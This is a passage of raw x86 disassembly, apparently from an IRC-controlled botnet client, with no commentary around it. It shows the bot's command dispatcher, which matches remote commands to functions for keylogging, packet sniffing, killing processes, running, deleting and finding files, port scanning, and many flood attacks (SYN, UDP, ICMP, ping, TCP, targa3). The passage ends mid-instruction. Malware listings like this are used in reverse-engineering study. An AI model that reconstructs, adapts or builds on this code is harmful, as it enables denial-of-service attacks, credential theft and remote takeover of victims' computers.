push offset aServer ; "server"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4092D2
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4092D2
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40926A
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40926A
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40923E
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40923E
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4091E3
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4091E3
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4091AF
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4091AF
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4090DB
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4090DB
push [ebp+arg_8]
push offset aList ; "list"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4090C0
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4090C0
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408FD3
push [ebp+arg_8]
push offset aV ; "v"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408FD3
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F5F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F5F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F0B
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F0B
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408E86
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408E86
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405C9A
push edi
push offset aOn ; "on"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405C62
push 20h
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_405B8F
push offset dword_42B68C
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_405B8F: ; CODE XREF: sub_401AC7+40BCj
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD1
mov esi, offset aF_1 ; "#f"
push offset byte_43B4B8
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD1
mov esi, [ebp+var_88]
loc_405BD1: ; CODE XREF: sub_401AC7+40ECj
; sub_401AC7+4102j
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C100
lea eax, [ebp+var_2C4]
push offset dword_42B65C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset byte_412B1F
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_405C51
loc_405C3B: ; CODE XREF: sub_401AC7+4188j
cmp [ebp+var_ECC], ebx
jnz loc_4081DE
push 32h
call near ptr 268051Bh
nop
jmp short loc_405C3B
; ---------------------------------------------------------------------------
loc_405C51: ; CODE XREF: sub_401AC7+4172j
nop
call near ptr 2680DCDh
push eax
push offset dword_42B620
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_405C62: ; CODE XREF: sub_401AC7+40ACj
push edi
push offset aOff ; "off"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4081DE
push ebx
push 20h
call sub_40B5A8
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C90
push eax
push offset dword_42B5E4
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_405C90: ; CODE XREF: sub_401AC7+41BCj
push offset dword_42B5B8
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_405C9A: ; CODE XREF: sub_401AC7+4097j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405DE7
push edi
push offset aOn ; "on"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405DAF
push 21h
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_405CDC
push offset unk_42B590
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_405CDC: ; CODE XREF: sub_401AC7+4209j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D1E
mov esi, offset aF_1 ; "#f"
push offset byte_43B4B8
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405D1E
mov esi, [ebp+var_88]
loc_405D1E: ; CODE XREF: sub_401AC7+4239j
; sub_401AC7+424Fj
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C100
lea eax, [ebp+var_2C4]
push offset unk_42B564
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131AA
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_405D9E
loc_405D88: ; CODE XREF: sub_401AC7+42D5j
cmp [ebp+var_E38], ebx
jnz loc_4081DE
push 32h
nop
call near ptr 268051Bh
jmp short loc_405D88
; ---------------------------------------------------------------------------
loc_405D9E: ; CODE XREF: sub_401AC7+42BFj
call near ptr 2680DCDh
nop
push eax
push offset unk_42B528
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_405DAF: ; CODE XREF: sub_401AC7+41F9j
push edi
push offset aOff ; "off"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4081DE
push ebx
push 21h
call sub_40B5A8
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DDD
push eax
push offset unk_42B4EC
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_405DDD: ; CODE XREF: sub_401AC7+4309j
push offset unk_42B4C0
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_405DE7: ; CODE XREF: sub_401AC7+41E4j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405EBA
push edi
push offset aOn ; "on"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405E82
push 2
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_405E25
push offset dword_42B498
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_405E25: ; CODE XREF: sub_401AC7+4352j
lea eax, [ebp+var_2C4]
push offset dword_42B46C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3AD
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_410BBE
push ebx
push ebx
nop
call near ptr 26805C5h
imul esi, 234h
cmp eax, ebx
mov dword_43C254[esi], eax
jnz loc_4081DE
nop
call near ptr 2680DCDh
push eax
push offset dword_42B438
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_405E82: ; CODE XREF: sub_401AC7+4346j
push edi
push offset aOff ; "off"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4081DE
push ebx
push 2
call sub_40B5A8
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB0
push eax
push offset dword_42B400
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_405EB0: ; CODE XREF: sub_401AC7+43DCj
push offset dword_42B3E0
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_405EBA: ; CODE XREF: sub_401AC7+4331j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408D1A
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408D1A
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408CF1
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408CF1
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4061B2
cmp dword_4C93D4, ebx
jz short loc_405F47
cmp dword_4C93FC, ebx
jz short loc_405F47
push offset unk_42B388
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_405F47: ; CODE XREF: sub_401AC7+446Cj
; sub_401AC7+4474j
cmp [ebp+var_C], ebx
jz loc_406C42
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F6F
push eax
push [ebp+var_C]
call sub_41C080
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F6F: ; CODE XREF: sub_401AC7+4498j
push edi
push offset aStart ; "start"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FD5
cmp [ebp+arg_18], ebx
jz short loc_405FA9
push [ebp+arg_0]
push 3
loc_405F8A: ; CODE XREF: sub_401AC7+4524j
; sub_401AC7+453Cj ...
call sub_418BBF
push eax
lea eax, [ebp+var_2C4]
push offset aS_1 ; "%s"
push eax
call sub_41C006
add esp, 14h
jmp loc_406C42
; ---------------------------------------------------------------------------
loc_405FA9: ; CODE XREF: sub_401AC7+44BCj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418E66
add esp, 0Ch
test eax, eax
jz short loc_405FCB
push offset unk_42B35C
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_405FCB: ; CODE XREF: sub_401AC7+44F8j
push offset unk_42B33C
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_405FD5: ; CODE XREF: sub_401AC7+44B7j
push edi
push offset aStop ; "stop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FED
push [ebp+arg_0]
push 4
jmp short loc_405F8A
; ---------------------------------------------------------------------------
loc_405FED: ; CODE XREF: sub_401AC7+451Dj
push edi
push offset aPause ; "pause"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406005
push [ebp+arg_0]
push 5
jmp short loc_405F8A
; ---------------------------------------------------------------------------
loc_406005: ; CODE XREF: sub_401AC7+4535j
push edi
push offset aContinue ; "continue"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406020
push [ebp+arg_0]
push 6
jmp loc_405F8A
; ---------------------------------------------------------------------------
loc_406020: ; CODE XREF: sub_401AC7+454Dj
push edi
push offset aDelete ; "delete"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40603B
push [ebp+arg_0]
push 1
jmp loc_405F8A
; ---------------------------------------------------------------------------
loc_40603B: ; CODE XREF: sub_401AC7+4568j
push edi
push offset aShare ; "share"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4060B8
cmp [ebp+arg_18], ebx
jz short loc_40608B
cmp [ebp+var_8FC], bl
jz short loc_406061
push ebx
push [ebp+arg_18]
push 1
jmp short loc_40606C
; ---------------------------------------------------------------------------
loc_406061: ; CODE XREF: sub_401AC7+4590j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_40606C: ; CODE XREF: sub_401AC7+4598j
call sub_418FA3
push eax
lea eax, [ebp+var_2C4]
push offset aS_1 ; "%s"
push eax
call sub_41C006
add esp, 18h
jmp loc_406C42
; ---------------------------------------------------------------------------
loc_40608B: ; CODE XREF: sub_401AC7+4588j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_419198
add esp, 10h
test eax, eax
jz short loc_4060AE
push offset unk_42B2FC
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_4060AE: ; CODE XREF: sub_401AC7+45DBj
push offset unk_42B2DC
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_4060B8: ; CODE XREF: sub_401AC7+4583j
push edi
push offset aUser ; "user"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40615A
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40612D
cmp [ebp+var_8FC], bl
jz short loc_4060EE
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_40610E
; ---------------------------------------------------------------------------
loc_4060EE: ; CODE XREF: sub_401AC7+4613j
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_40610A
push esi
push eax
push ebx
jmp short loc_40610E
; ---------------------------------------------------------------------------
loc_40610A: ; CODE XREF: sub_401AC7+463Cj
push ebx
push eax
push 2
loc_40610E: ; CODE XREF: sub_401AC7+4625j
; sub_401AC7+4641j
call sub_4192B9
push eax
lea eax, [ebp+var_2C4]
push offset aS_1 ; "%s"
push eax
call sub_41C006
add esp, 24h
jmp loc_406C42
; ---------------------------------------------------------------------------
loc_40612D: ; CODE XREF: sub_401AC7+460Bj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4197CD
add esp, 10h
test eax, eax
jz short loc_406150
push offset unk_42B2BC
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_406150: ; CODE XREF: sub_401AC7+467Dj
push offset unk_42B29C
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_40615A: ; CODE XREF: sub_401AC7+4600j
push edi
push offset aSend ; "send"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4061A8
cmp [ebp+arg_18], ebx
jz short loc_40619E
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419A81
push eax
lea eax, [ebp+var_2C4]
push offset aS_1 ; "%s"
push eax
call sub_41C006
add esp, 1Ch
jmp loc_406C42
; ---------------------------------------------------------------------------
loc_40619E: ; CODE XREF: sub_401AC7+46A7j
push offset unk_42B270
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_4061A8: ; CODE XREF: sub_401AC7+46A2j
push offset unk_42B254
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_4061B2: ; CODE XREF: sub_401AC7+4460j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_4061E0: ; CODE XREF: sub_401AC7+3C93j
; sub_401AC7+3CC9j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F6C
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408BB1
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408BB1
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408B5B
push [ebp+arg_8]
push offset dword_42B93C
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408B5B
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408AED
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408AED
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408A87
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408A87
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408A4B
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408A4B
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4089E0
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4089E0
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40895E
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40895E
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4088F0
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4088F0
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4088CA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4088CA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40886A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40886A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408772
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408772
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4086A0
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4086A0
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4085CB
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4085CB
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408530
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408530
push [ebp+arg_8]
push offset aHadeth ; "HADETH"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4083A7
push [ebp+arg_8]
push offset aHadeth ; "HADETH"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4083A7
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408314
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408314
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408208
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408208
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408192
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408192
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40809B
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40809B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F6C
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407FB3
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407FB3
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407EBA
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407EBA
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407EBA
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4066F3
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3AD
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset dword_415208
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4066E2
loc_4066CC: ; CODE XREF: sub_401AC7+4C19j
cmp [ebp+var_3074], ebx
jnz loc_403D2D
push 32h
nop
call near ptr 268051Bh
jmp short loc_4066CC
; ---------------------------------------------------------------------------
loc_4066E2: ; CODE XREF: sub_401AC7+4C03j
nop
call near ptr 2680DCDh
push eax
push offset unk_42B0E0
jmp loc_403D1E
; ---------------------------------------------------------------------------
loc_4066F3: ; CODE XREF: sub_401AC7+4B59j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407DD2
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407DD2
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406820
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42B098
push eax
mov [ebp+var_36AC], esi
call sub_41C006
add esp, 44h
lea eax, [ebp+var_2C4]
push ebx
push 10h
push eax
call sub_40B3AD
add esp, 0Ch
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset byte_41416D
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40680F
loc_4067F9: ; CODE XREF: sub_401AC7+4D46j
cmp [ebp+var_349C], ebx
jnz loc_4071DD
push 32h
call near ptr 268051Bh
nop
jmp short loc_4067F9
; ---------------------------------------------------------------------------
loc_40680F: ; CODE XREF: sub_401AC7+4D30j
nop
call near ptr 2680DCDh
push eax
push offset dword_42B05C
jmp loc_4071CE
; ---------------------------------------------------------------------------
loc_406820: ; CODE XREF: sub_401AC7+4C6Bj
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407CEA
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407CEA
push [ebp+arg_8]
push offset aNazel ; "NAZEL"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407BAF
push [ebp+arg_8]
push offset aNazel ; "NAZEL"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407BAF
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407AB5
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_407AB5
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4079C2
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4079C2
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4078ED
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4078ED
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4077DB
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4077DB
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F6C
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4076D5
push [ebp+arg_8]
push offset dword_42AFF0
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4076D5
push [ebp+arg_8]
push offset off_42AFEC
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4071FD
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4071FD
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4070B7
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4070B7
push [ebp+arg_8]
push offset aU ; "u"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4070B7
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_406FA9
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_406FA9
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_406E82
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_406E82
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_406E82
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406A9E
push edi
call sub_41B4CF
push edi
lea eax, [ebp+var_2C4]
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C006
add esp, 10h
cmp [ebp+var_8], ebx
jnz loc_401F6C
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_40408E
; ---------------------------------------------------------------------------
loc_406A9E: ; CODE XREF: sub_401AC7+4FA1j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_406CD2
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C7E0
pop ecx
